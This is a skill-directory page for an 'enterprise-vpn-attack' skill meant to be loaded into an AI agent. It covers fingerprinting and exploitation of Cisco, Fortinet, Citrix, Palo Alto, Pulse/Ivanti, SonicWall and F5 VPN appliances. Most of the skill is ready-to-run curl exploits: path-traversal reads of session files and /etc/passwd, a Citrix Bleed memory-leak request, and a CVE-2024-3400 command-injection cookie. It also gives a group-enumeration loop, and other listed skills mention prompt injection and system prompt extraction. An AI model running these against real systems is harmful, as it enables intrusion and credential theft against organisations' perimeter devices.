enterprise-vpn-attack skill
External SSL VPN / remote-access appliance attack matrix — Cisco ASA/AnyConnect, Fortinet FortiGate/FortiOS, Citrix NetScaler/ADC, Palo Alto GlobalProtect, Pulse Secure / Ivanti Connect Secure, SonicWall, F5 Big-IP. Covers version fingerprinting, CVE matrix (2018-2026), AAA backend identification, default credentials, configuration-disclosure paths, pre-auth RCE/SSRF/path-traversal exploits where applicable. Built from authorized-engagement Cisco ASA testing plus 2024-2026 enterprise VPN CVE landscape. Use whenever the target's perimeter exposes any SSL VPN appliance or remote-access gateway — these are the most common initial-access points in 2024-2026 actor TTPs.
Is the enterprise-vpn-attack skill safe?
Read the findings before you install it. We read 1 file in the folder on 2026-09-28.
- high
SKILL.md:186Reads credential files (SSH keys, cloud or package-manager tokens) that a skill has no normal reason to touch.
curl -sk --path-as-is 'https://target/dana-na/../dana/html5acc/guacamole/../../../../../../../etc/passwd?/dana/html5acc/guacamole/'
Install the enterprise-vpn-attack skill
A skill is a folder. Copy it into your agent's skills folder and the agent loads it when the task matches its description.
git clone --depth 1 https://github.com/elementalsouls/Claude-BugHunter.git /tmp/Claude-BugHunter mkdir -p ~/.claude/skills cp -r /tmp/Claude-BugHunter/skills/enterprise-vpn-attack ~/.claude/skills/enterprise-vpn-attack
In the Claude apps, zip the folder and upload it from the Skills settings. The folder on GitHub
The instructions your agent would load
SKILL.md as published, without the frontmatter. Read it on GitHub
When to use this skill
Trigger when recon surfaces:
- *..example/+CSCOE+/logon.html or similar +CSCOE+ paths → Cisco ASA / AnyConnect
- intranet. / vpn. / connect. / webvpn. / wc. / remote. subdomains
- Port 443 returning login pages with Server: Apache or banner like "AnyConnect", "FortiGate", "NetScaler", "GlobalProtect", "Pulse", "Ivanti"
- TCP 8443 / 4443 / 10443 / 8888 (common VPN web-mgmt ports)
- HTTP responses with Set-Cookie: webvpn= (Cisco) / SVPNCOOKIE= (Fortinet) / NSCAAA= (Citrix) / DSAuthSession= (Pulse) / BIGipServer (F5)
DO NOT use for:
- Internal lateral-movement post-foothold (out of scope per user's boundary)
- VPN client-side bugs (different attack class)
- IPsec / L2TP / OpenVPN (different protocols, not SSL VPN web stack)
Vendor identification (fingerprinting)
Cisco ASA / AnyConnect
curl -skI 'https://target/+CSCOE+/logon.html' | head -10
# Look for: Set-Cookie: webvpn=; X-Frame-Options: SAMEORIGIN; CSP: ... block-all-mixed-content
# Login page contains: "AnyConnect", "CSCOE", "logon.html"ASA version: not banner-disclosed in modern builds; need to derive from JS file paths or test specific paths.
# Path-based version hints (older builds leaked builds in URLs)
curl -sk 'https://target/+CSCOE+/sdesktop/scan-finalize?path=test'
curl -sk 'https://target/+CSCOE+/saml/sp/metadata' # 200 = SAML auth enabled
curl -sk 'https://target/CSCOSSLC/config-auth' # AnyConnect handshake endpointFortinet FortiGate / FortiOS
curl -skI 'https://target/remote/login' | head -10
# Look for: Set-Cookie: SVPNCOOKIE=, Server header missing or "xxxxxxxx-xxxxx"
# Login page contains: "FortiGate", "Fortinet", "SSL-VPN"Version: /remote/info sometimes leaks (older), or /login?username= 302 response
Citrix NetScaler / ADC / Gateway
curl -skI 'https://target/' | head -10
# Look for: Set-Cookie: NSC_AAA=, Set-Cookie: NSC_USER=, Server: NetScaler
# Login page contains: "NetScaler", "Citrix Gateway"
# Version banner
curl -sk 'https://target/vpn/index.html' | grep -oE 'NetScaler/[0-9.]+|NS[0-9.]+'
curl -sk 'https://target/menu/neo' # 200 if vulnerable to CVE-2019-19781 eraPalo Alto GlobalProtect
curl -skI 'https://target/global-protect/login.esp' | head -10
# Look for: Set-Cookie: PHPSESSID= (yes, GP uses PHP), Server: Apache (PA-VM internal)
# Page contains: "GlobalProtect Portal", "PAN-OS"
# Version banner via login page
curl -sk 'https://target/global-protect/login.esp' | grep -oE 'GlobalProtect Portal[\s\S]{0,200}'
# Or check meta tag
curl -sk 'https://target/global-protect/login.esp' | grep -oE 'panui-[0-9.]+'Pulse Secure / Ivanti Connect Secure
curl -skI 'https://target/dana-na/auth/url_default/welcome.cgi' | head -10
# Look for: Set-Cookie: DSAuthSession=, DSPREAUTH=
# Page contains: "Pulse Secure" or "Ivanti Connect Secure"
# Version
curl -sk 'https://target/dana-na/auth/url_default/welcome.cgi' | grep -oE 'Pulse Connect Secure[^<]*|ivanti[^<]*[0-9.]+'SonicWall NetExtender / SMA
curl -skI 'https://target/cgi-bin/welcome' | head -10
# Look for: Set-Cookie: swap=, swapauth=
# Page contains: "SonicWall", "NetExtender", "SMA"F5 Big-IP / APM
curl -skI 'https://target/my.policy' | head -10
# Look for: Set-Cookie: BIGipServer*, MRHSession=
# Server: BIG-IP (sometimes)CVE matrix — pre-auth or auth-bypass (2018-2026)
Cisco ASA / AnyConnect
# Cisco CVE-2020-3452 — file read
curl -sk 'https://target/+CSCOE+/files/file_name.html?Filename=Microsoft.Manifest+/+CSCOT+/lua/test.lua' | head -5
# Cisco CVE-2018-0296 — path traversal
curl -sk 'https://target/+CSCOT+/translation-table?type=mst&textdomain=/%2bCSCOE%2b/portal_inc.lua' | head -20
# Files commonly retrievable on vulnerable ASA:
# /+CSCOE+/portal_inc.lua (portal inclusions — may reveal local users)
# /+CSCOE+/session_password.html
# /+CSCOE+/files/files.htmlFortinet FortiGate / FortiOS
# Fortinet CVE-2018-13379 — most reliably-fingerprintable file read
curl -sk --path-as-is 'https://target/remote/fgt_lang?lang=/../../../..//////////dev/cmdb/sslvpn_websession'
# Response contains plaintext usernames + sessions if vulnerable
# Fortinet credential dump format (from CVE-2018-13379 dumps that hit pastebin in 2021):
# IP:PORT username password (and others)Citrix NetScaler / ADC / Gateway
# Citrix Bleed (CVE-2023-4966) detection
HOST=$(python3 -c "print('A' * 24812)")
curl -sk -X POST -H "Host: $HOST" "https://target/oauth/idp/.well-known/openid-configuration" -o response.txt
# If response is large (>10KB) and contains random memory contents — vulnerable
# Session tokens often present in the memory dump
# CVE-2019-19781 file read
curl -sk --path-as-is 'https://target/vpn/../vpns/cfg/smb.conf'Palo Alto GlobalProtect
# CVE-2024-3400 detection
curl -sk -X POST 'https://target/ssl-vpn/login.esp' \
-H 'Cookie: SESSID=../../../var/log/pan/test_$(id)_test.txt' \
--data 'jsessionid=test'
# Look for file-creation side-effect on test path — palo creates file with command outputPulse Secure / Ivanti Connect Secure / Policy Secure
# CVE-2019-11510 — Pulse file read
curl -sk --path-as-is 'https://target/dana-na/../dana/html5acc/guacamole/../../../../../../../etc/passwd?/dana/html5acc/guacamole/'SonicWall
SAML SP / IdP misconfigurations (always check)
Most enterprise VPNs now use SAML for SSO. Check SP metadata:
# Cisco ASA
curl -sk 'https://target/+CSCOE+/saml/sp/metadata' | head -50
# Fortinet
curl -sk 'https://target/remote/saml/metadata' | head -50
# Citrix
curl -sk 'https://target/saml/login' | head -30Look for:
- AuthnRequestsSigned="false" → see hunt-saml for XSW exploitation
- WantAssertionsSigned="false" → severe; assertion-replay possible
- Audience-restriction validation gaps
- Public SP signing cert (for replay/forging attacks)
Default credentials (test sparingly — lockout risk)
⚠ Most enterprise targets have changed these. Test ≤2 attempts per account to avoid lockout.
Group / tunnel-group enumeration (Cisco-specific)
Cisco ASA AAA groups can sometimes be enumerated without auth.
# Tunnel group enumeration via timing
for group in DefaultRAGroup DefaultWEBVPNGroup SSLVPN Employees Contractors Vendors Partners Sales Marketing IT; do
ms=$(curl -sk --max-time 10 -o /dev/null -w "%{time_total}" \
-X POST "https://target/+webvpn+/index.html" \
-d "username=test&password=test&group_list=$group&tgroup=&Login=Login")
echo "$group: ${ms}s"
done
# Larger differential timing = group exists; valid groups respond slower in some buildsAAA backend identification
After auth fails, look at error response details:
If you see SAML/Entra in the flow, pivot to m365-entra-attack skill for cred-spray strategy.
Common probe sequence (5-minute fingerprint)
TARGET="vpn.target.com"
# Cisco
curl -skI "https://$TARGET/+CSCOE+/logon.html" 2>&1 | head -3
curl -sk "https://$TARGET/+CSCOE+/saml/sp/metadata" -o /tmp/cisco_saml.xml; ls -la /tmp/cisco_saml.xml
curl -sk --path-as-is "https://$TARGET/+CSCOE+/files/file_name.html?Filename=Microsoft.Manifest" -o /tmp/cisco_cve.html
# Fortinet
curl -skI "https://$TARGET/remote/login" 2>&1 | head -3
curl -sk --path-as-is "https://$TARGET/remote/fgt_lang?lang=/../../../..//////////dev/cmdb/sslvpn_websession" -o /tmp/forti_cve.txt; head -c 200 /tmp/forti_cve.txt
# Citrix
curl -skI "https://$TARGET/" 2>&1 | head -3
curl -sk --path-as-is "https://$TARGET/vpn/../vpns/cfg/smb.conf" -o /tmp/citrix_cve.txt; head -c 200 /tmp/citrix_cve.txt
HOST=$(python3 -c "print('A' * 24812)")
curl -sk -X POST -H "Host: $HOST" "https://$TARGET/oauth/idp/.well-known/openid-configuration" -o /tmp/citrix_bleed.txt
wc -c /tmp/citrix_bleed.txt
# Palo Alto
curl -skI "https://$TARGET/global-protect/login.esp" 2>&1 | head -3
# Pulse / Ivanti
curl -skI "https://$TARGET/dana-na/auth/url_default/welcome.cgi" 2>&1 | head -3
curl -sk --path-as-is "https://$TARGET/dana-na/../dana/html5acc/guacamole/../../../../../../../etc/passwd?/dNuclei templates for fast triage
Nuclei has high-quality templates for most of the above CVEs. Single command sweeps:
nuclei -u https://target/ \
-tags vpn,cisco-asa,fortinet,citrix,palo-alto,pulse-secure,sonicwall,f5 \
-severity high,critical -rl 5Add -as (auto-scan) for broader vuln coverage but slower.
Operational discipline
- Banner-stripped servers (no version disclosure) are good defense-in-depth — record as positive finding even if no CVE found
- Rate-limit yourself — these appliances often log every request to a SIEM. Patient pace, jittered timing.
- SAML metadata is anonymous — pull it. It's intel about AAA backend.
- Don't run pre-auth-RCE PoCs in red team without explicit OK — accidentally bricking a VPN concentrator = catastrophic for the client. Detection-only tests first, then escalate with permission.
- Document the AAA backend identification — knowing whether ASA uses RADIUS-to-local vs SAML-to-Entra changes downstream attack paths.
Bridge to neighboring skills
- m365-entra-attack — when AAA backend is Entra SAML; cred-spray strategy carries over
- hunt-saml — XSW / signature-stripping if SAML SP is misconfigured
- mid-engagement-ir-detection — appliances generate noisy logs; watch for IPS rules being deployed mid-engagement
- redteam-mindset — banner-stripped ≠ "not vulnerable"; keep digging via behavioral fingerprints
Anti-patterns
- Don't conclude "patched" from a 404 on one CVE path — patches deploy unevenly; test 3+ CVEs per vendor
- Don't trust the version banner alone — appliance vendors often backport fixes without bumping the version string
- Don't run heavy nuclei scans without rate-limiting — these appliances are critical infrastructure
- Don't fingerprint by trying all CVE PoCs immediately — start with non-disruptive HEAD + version-banner probes
- Don't skip SAML metadata — even when the appliance is patched, SAML SP misconfig is its own attack surface
More skills from elementalsouls/Claude-BugHunter
- Aapk-redteam-pipelineEnd-to-end Android APK red-team pipeline — automated APK acquisition (Play Store + apkpure + apkmirror fallback), jadx decompilation, secret/URL/JWT/Firebase grep, pinned-cert extraction, exported-component enumeration, Frida runtime instrumentation templates, intent-injection probes. Built from an authorized external red-team engagement where 7 APKs were pulled manually, 4 download attempts truncated, and a hardcoded JWT + 30 internal API endpoints were recovered from one of the apps. Use when target has a mobile app catalogue (Play Store developer page), when you find an APK URL hosted on a web server, or when post-recon mentions "mobile app" in scope.
- Fbb-local-toolkitLocal-tooling companion to the bug-bounty orchestrator — carries the SAME complete bug-bounty workflow, but reach for THIS variant when you also need to resolve where tools, wordlists, and clones are installed on the local machine (jhaddix, SecLists, trufflehog, ffuf, dalfox, ghauri); for pure orchestration/routing use the bug-bounty skill. Workflow it covers — recon (subdomain enumeration, asset discovery, fingerprinting, HackerOne scope, source code audit), pre-hunt learning (disclosed reports, tech stack research, mind maps, threat modeling), vulnerability hunting (IDOR, SSRF, XSS, auth bypass, CSRF, race conditions, SQLi, XXE, file upload, business logic, GraphQL, HTTP smuggling, cache poisoning, OAuth, timing side-channels, OIDC, SSTI, subdomain takeover, cloud misconfig, ATO chains, agentic AI), LLM/AI security testing (chatbot IDOR, prompt injection, indirect injection, ASCII smuggling, exfil channels, RCE via code tools, system prompt extraction, ASI01-ASI10), A-to-B bug chaining (IDOR→auth bypass, SSRF→cloud metadata, XSS→ATO, open redirect→OAuth theft, S3→bundle→secret→OAuth), bypass tables (SSRF IP bypass, open redirect bypass, file upload bypass), language-specific grep (JS prototype pollution, Python pickle, PHP type juggling, Go template.HTML, Ruby YAML.load, Rust unwrap), and reporting (7-Question Gate, 4 validation gates, human-tone writing, templates by vuln class, CVSS 3.1, PoC generation, always-rejected list, conditional chain table, submission checklist). Use when you need the local install path of a tool / wordlist / clone for a hunt, or as the full-workflow variant when operating from this local toolkit; for general routing use the bug-bounty skill. 中文触发词:漏洞赏金、安全测试、渗透测试、漏洞挖掘、信息收集、子域名枚举、XSS测试、SQL注入、SSRF、安全审计、漏洞报告
- Abb-methodologyUse at the START of any bug bounty hunting session, when switching targets, or when feeling lost about what to do next. Master orchestrator that combines the 5-phase non-linear hunting workflow with the critical thinking framework (developer psychology, anomaly detection, What-If experiments). Routes to all other skills based on current hunting phase. Also use when asking "what should I do next" or "where am I in the process."
- Fbug-bountyComplete bug bounty workflow — recon (subdomain enumeration, asset discovery, fingerprinting, HackerOne scope, source code audit), pre-hunt learning (disclosed reports, tech stack research, mind maps, threat modeling), vulnerability hunting (IDOR, SSRF, XSS, auth bypass, CSRF, race conditions, SQLi, XXE, file upload, business logic, GraphQL, HTTP smuggling, cache poisoning, OAuth, timing side-channels, OIDC, SSTI, subdomain takeover, cloud misconfig, ATO chains, agentic AI), LLM/AI security testing (chatbot IDOR, prompt injection, indirect injection, ASCII smuggling, exfil channels, RCE via code tools, system prompt extraction, ASI01-ASI10), A-to-B bug chaining (IDOR→auth bypass, SSRF→cloud metadata, XSS→ATO, open redirect→OAuth theft, S3→bundle→secret→OAuth), bypass tables (SSRF IP bypass, open redirect bypass, file upload bypass), language-specific grep (JS prototype pollution, Python pickle, PHP type juggling, Go template.HTML, Ruby YAML.load, Rust unwrap), and reporting (7-Question Gate, 4 validation gates, human-tone writing, templates by vuln class, CVSS 3.1, PoC generation, always-rejected list, conditional chain table, submission checklist). Use for ANY bug bounty task — starting a new target, doing recon, hunting specific vulns, auditing source code, testing AI features, validating findings, or writing reports. 中文触发词:漏洞赏金、安全测试、渗透测试、漏洞挖掘、信息收集、子域名枚举、XSS测试、SQL注入、SSRF、安全审计、漏洞报告
- Abugcrowd-reportingBugcrowd-specific reporting tactics complementing report-writing: VRT category search-and-fallback strategy when no exact match exists, manual severity override when VRT defaults underrate impact, severity-request paragraph as first body section, OOS-clause rebuttal templates (rate limiting on auth-flow endpoints, debug-info framing, user-enumeration with sensitive PII, theoretical-issue counter), chained-finding cross-reference patterns, target selection for QA-vs-prod programs, researcher-side hygiene (Bugcrowdninja email alias, account state restoration, friendly-tester posture). Use when filing a Bugcrowd submission, when VRT default seems wrong, when triager closes as OOS or downgrades severity, when chaining linked submissions, or when scope distinguishes production from QA. Pairs with report-writing and triage-validation.
- Acloud-iam-deepCloud IAM red-team attack chain across AWS, Azure, GCP — focused on EXTERNAL exploitation paths and post-credential-discovery privilege analysis. Covers IAM enumeration (aws iam, az role, gcloud iam), STS/AssumeRole chaining, Azure Managed Identity abuse (via SSRF/leak), GCP service account JSON abuse, IMDSv1/v2 attacks via SSRF, K8s ServiceAccount token privilege analysis once held (token discovery / cluster exposure is owned by hunt-k8s), role-trust-policy confused-deputy, cross-account assume-role enumeration, IAM privilege escalation patterns (24+ AWS, 8+ Azure, 6+ GCP), and AWS Cognito Identity Pool unauthenticated-role attack chain (GetId → GetCredentialsForIdentity → IAM role abuse). Built for the case where recon yields a credential (key, JSON, token) and you need to know what it grants and how to escalate. Use when an AWS key / Azure secret / GCP service account JSON / K8s SA token surfaces from a code repo, JS bundle, APK, breach corpus, or SSRF chain.
- Aevidence-hygieneEvidence-capture and PoC-redaction discipline for bug-bounty submissions: cookie redaction protocol (which fields to mask, Preview annotation / Burp panel hiding / DevTools workflow), PII black-bar discipline (what to mask in other-user data — names, emails, phones, faces — vs what is safe to leave — usernames, trace IDs, request bodies), HAR file sanitization (jq filters for Cookie/Set-Cookie/Authorization headers), Burp Repeater/Intruder screenshot hygiene (hide request body, show only Results table for rate-limit attacks), Chrome DevTools Console PoC patterns (credentials include so cookies are not echoed, labeled console.log), screenshot capture order, filename conventions, post-submission rotation hygiene. Use BEFORE any PoC screenshot, BEFORE attaching a HAR, or whenever preparing evidence with session cookies or other-user PII. Pairs with bugcrowd-reporting and report-writing.
- Ahunt-api-misconfigHunt API security misconfiguration — mass assignment, prototype pollution, HTTP verb tampering. Mass assignment: send {is_admin:true, role:admin, verified:true} on profile/account/reset endpoints — server blindly applies. JWT signature/crypto forging (alg:none, key confusion, kid/jku) is owned by hunt-jwt-crypto; this skill covers only non-crypto JWT handling. Prototype pollution: __proto__ injection in JSON merge / Object.assign / lodash _.merge → polluted prototype reaches sink (RCE in Node, XSS in browser). HTTP verb: GET-bypass-CSRF, X-HTTP-Method-Override, TRACE enabled. Detection: API responses with extra fields, JWTs in headers (decode at jwt.io). CORS misconfiguration (reflect-any-origin, null origin, subdomain-regex bypass, postMessage) is owned by hunt-cors. Use when hunting API misconfigs, mass-assignment, prototype pollution (JWT crypto → hunt-jwt-crypto).
- Ahunt-aspnetHunt ASP.NET-specific surface — ViewState deserialization (signed-only vs encrypted), machineKey recovery, dual-parser MAC-bypass anti-pattern, request-validator bypass, trace.axd/elmah.axd disclosure, load-balanced ViewState cross-node failures, SafeControl enumeration via reflection, customErrors mode=Off stack-trace leaks, classic Webforms .aspx/.asmx/.svc surface. Built for ASP.NET Webforms + WCF + SharePoint farms.
- Ahunt-atoHunt account takeover taxonomy — 9 distinct paths to ATO, plus chains. Paths: (1) password reset flaws (host-header injection redirects token, predictable/numeric token, Referer leak, no-expiry/reuse), (2) email change without re-auth, (3) OAuth account-link CSRF, (4) MFA bypass (per hunt-mfa-bypass), (5) session fixation, (6) JWT manipulation (forge token to another identity; crypto details → hunt-jwt-crypto), (7) password change without step-up (chain with login timing/length oracle), (8) social-recovery / security-question brute-force, (9) SSO subdomain takeover at OAuth redirect_uri. Chains: cookie theft + password oracle + no step-up = persistent ATO; lax redirect_uri = auth-code theft; dangling-CNAME takeover at redirect_uri = ATO. Validate: demonstrate real takeover of test account B from attacker A's session; OOB/Collaborator confirm blind token-leak steps. Use when hunting ATO chains, testing password reset / email change / MFA / OAuth / session / JWT, or chaining primitives toward Critical.
- Ahunt-auth-bypassHunting skill for auth bypass vulnerabilities. Built from 12 public bug bounty reports across SAML XSW / parser-differential (GitHub Enterprise CVE-2025-25291/25292), SAML signature stripping (Uber, Rocket.Chat, samlify CVE-2025-47949), SAML domain enforcement bypass via control characters (HackerOne 2024), partner-portal cross-IdP assertion reuse (Slack), WordPress XMLRPC bypassing SSO (Uber), JWT alg-confusion HS256/RS256 (Jitsi), JWT signature-validation skip (Linktree, Newspack), and token-audience confusion (Argo CD CVE-2023-22482). For standalone JWT signature/crypto forging (alg:none, key confusion, kid/jku) see hunt-jwt-crypto; this skill covers JWT only inside SSO/SAML/token-trust bypass chains. SAML assertion-layer attacks (XSW, comment injection, signature stripping, XXE-in-assertion) are owned by hunt-saml; this skill owns the broader cross-protocol auth-bypass taxonomy. Use when hunting auth bypass — see the Legacy-Protocol Matrix for branded-UI vs legacy-endpoint patterns.
- Ahunt-brute-forceHunt Missing/Weak Rate Limiting — login brute force, OTP/2FA brute force (10^6 keyspace), password-reset-token brute, credential stuffing, username/email enumeration via error-string / status-code / timing differences, weak password policy, missing CAPTCHA (CAPTCHA token replay / single-use / concurrency-window bypass specifics → hunt-captcha-bypass), IP-based rate-limit bypass via X-Forwarded-For and friends, ReDoS. Distinguishes hard lockout vs soft IP-throttle vs CAPTCHA-injection vs silent shadow-throttling (avoids false-negative 'no rate limit' conclusions). Medium to Critical depending on what the brute reaches (OTP→ATO = Critical).